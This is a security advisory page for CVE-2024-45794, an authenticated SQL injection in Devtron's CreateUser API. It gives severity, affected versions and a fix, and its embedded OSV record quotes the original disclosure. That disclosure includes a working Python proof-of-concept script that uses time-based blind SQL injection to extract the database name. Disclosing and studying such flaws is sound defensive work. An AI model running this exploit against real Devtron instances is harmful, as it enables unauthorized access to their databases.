CVE-2024-45794: Github.com/devtron labs/devtron SQL Injection Vulnerability
HIGHCVE-2024-45794 is a HIGH (CVSS 8.3) sql injection vulnerability (CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')) affecting Github.com/devtron labs/devtron libraries in the Go ecosystem. The issue involves devtron has sql injection in createuser api. Remediation is available by upgrading affected packages to version 0.7.2.
CVE-2024-45794 at a Glance
Security Impact
CVSS: 8.3
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L).
How to Fix CVE-2024-45794
To remediate this vulnerability, upgrade all affected Github.com/devtron labs/devtron dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
Upgrade github.com/devtron-labs/devtron to 0.7.2
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
inspect dependencies for github.com/devtron-labs/devtron
How to Check if You Are Affected
To determine whether your application is affected by CVE-2024-45794, inspect your project dependencies for Github.com/devtron labs/devtron:
inspect dependencies for github.com/devtron-labs/devtron
Analyze the terminal output to locate any version of Github.com/devtron labs/devtron in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.7.2), your application is affected.
Note: Verify declared build manifests and deployed runtime container environments.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection'), where the product constructs all or part of an sql command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended sql command when it is sent to a downstream component. without sufficient removal or quoting of sql syntax in user-controllable inputs, the generated sql query can cause those inputs to be interpreted as sql instead of ordinary user data. In Github.com/devtron labs/devtron, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2024-45794 Affected Github.com/devtron labs/devtron Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
github.com/devtron-labs/devtron
|
Go |
< 0.7.2
|
0.7.2
|
References
Frequently Asked Questions
What is CVE-2024-45794?
Which Github.com/devtron labs/devtron versions are affected?
What version fixes CVE-2024-45794?
Is github.com/devtron-labs/devtron affected?
What is the CVSS score of CVE-2024-45794?
What CWE is associated with CVE-2024-45794?
How can I check Go dependencies for CVE-2024-45794?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-q78v-cv36-8fxj",
"modified" : "2024-11-07T19:29:30Z",
"published" : "2024-11-07T17:14:04Z",
"aliases" : [ "CVE-2024-45794" ],
"summary" : "Devtron has SQL Injection in CreateUser API",
"details" : "### Summary\nAn authenticated user (with minimum permission) could utilize and exploit SQL Injection to allow the execution of malicious SQL queries via CreateUser API (/orchestrator/user).\n\n### Details\nThe API is CreateUser (/orchestrator/user).\n\nThe function to read user input is:\nhttps://github.com/devtron-labs/devtron/blob/4296366ae288f3a67f87e547d2b946acbcd2dd65/api/auth/user/UserRestHandler.go#L96-L104\n\nThe userInfo (line 104) parameter can be controlled by users.\n\nThe SQL injection can happen in the code:\nhttps://github.com/devtron-labs/devtron/blob/4296366ae288f3a67f87e547d2b946acbcd2dd65/pkg/auth/user/repository/UserAuthRepository.go#L1038\n\nThe query (line 1038) parameter can be controlled by a user to create and execute a malicious SQL query.\n\nThe user should be authenticated but only needs minimum permissions:\n\n\n\n### PoC\n\nDemonstrate a blind SQL injection to retrieve the database name:\n\n```\nimport requests\nimport time\nimport string\nimport argparse\n\ndef blind(ip, token, query):\n url = f\"http://{ip}/orchestrator/user\"\n headers = {\"token\": token}\n entity = \"chart-group\"\n payload = f\"'; {query} --\"\n\n data = {\"id\": 111, \"email_id\": \"abcd123@126.com\", \"superAdmin\": False, \"roleFilters\":[{\"team\":\"\", \"environment\":\"\", \"action\": \"\", \"entity\": entity, \"accessType\": payload}]} #\"EntityName\": \"test\", \"AccessType\": \"test\", \"Cluster\": \"\",\\\"NameSpace\": \"devtroncd\", \"Group\": \"\", \"Kind\": \"\", \"Resource\": \"\", \"Workflow\": \"\"\n start = time.time()\n res = requests.post(url, headers=headers, json = data)\n end = time.time()\n #print(res.content)\n if(end - start > 1):\n return True\n return False\n\ndef main(ip, token):\n chs = string.printable\n result = \"\"\n is_end = False\n i = 1\n while(not is_end):\n is_end = True\n for ch in chs:\n if(blind(ip, token, f\"select case when substring(datname,{i},1)='{ch}' then pg_sleep(1) else pg_sleep(0) end from pg_database limit 1;\")):\n print(ch)\n result += ch\n is_end = False\n break\n i += 1\n print(result)\n\nif __name__ == \"__main__\":\n argparser = argparse.ArgumentParser()\n argparser.add_argument(\"--ip\", \"-i\", type=str, help=\"Target IP\")\n argparser.add_argument(\"--token\", \"-t\", type=str, help=\"API TOKEN\")\n args = argparser.parse_args()\n main(args.ip, args.token)\n```\n\nThe debugging breakpoint indicated that the malicious SQL query was executed:\n\n\nWe can see that we can get the database name:\n\n\n\n### Impact\nSQL injection vulnerability. Our tests indicate that the latest version is affected.\n\nThe reporters are Yuan Luo, Shuai Xiong from Tencent YunDing Security Lab.\n",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L"
}, {
"type" : "CVSS_V4",
"score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "Go",
"name" : "github.com/devtron-labs/devtron"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "0.7.2"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/devtron-labs/devtron/security/advisories/GHSA-q78v-cv36-8fxj"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2024-45794"
}, {
"type" : "WEB",
"url" : "https://github.com/devtron-labs/devtron/commit/1540271bd777b6bccd288e513a9070d8f04b6056"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/devtron-labs/devtron"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-89" ],
"severity" : "HIGH",
"github_reviewed" : true,
"github_reviewed_at" : "2024-11-07T17:14:04Z",
"nvd_published_at" : "2024-11-07T18:15:17Z"
}
}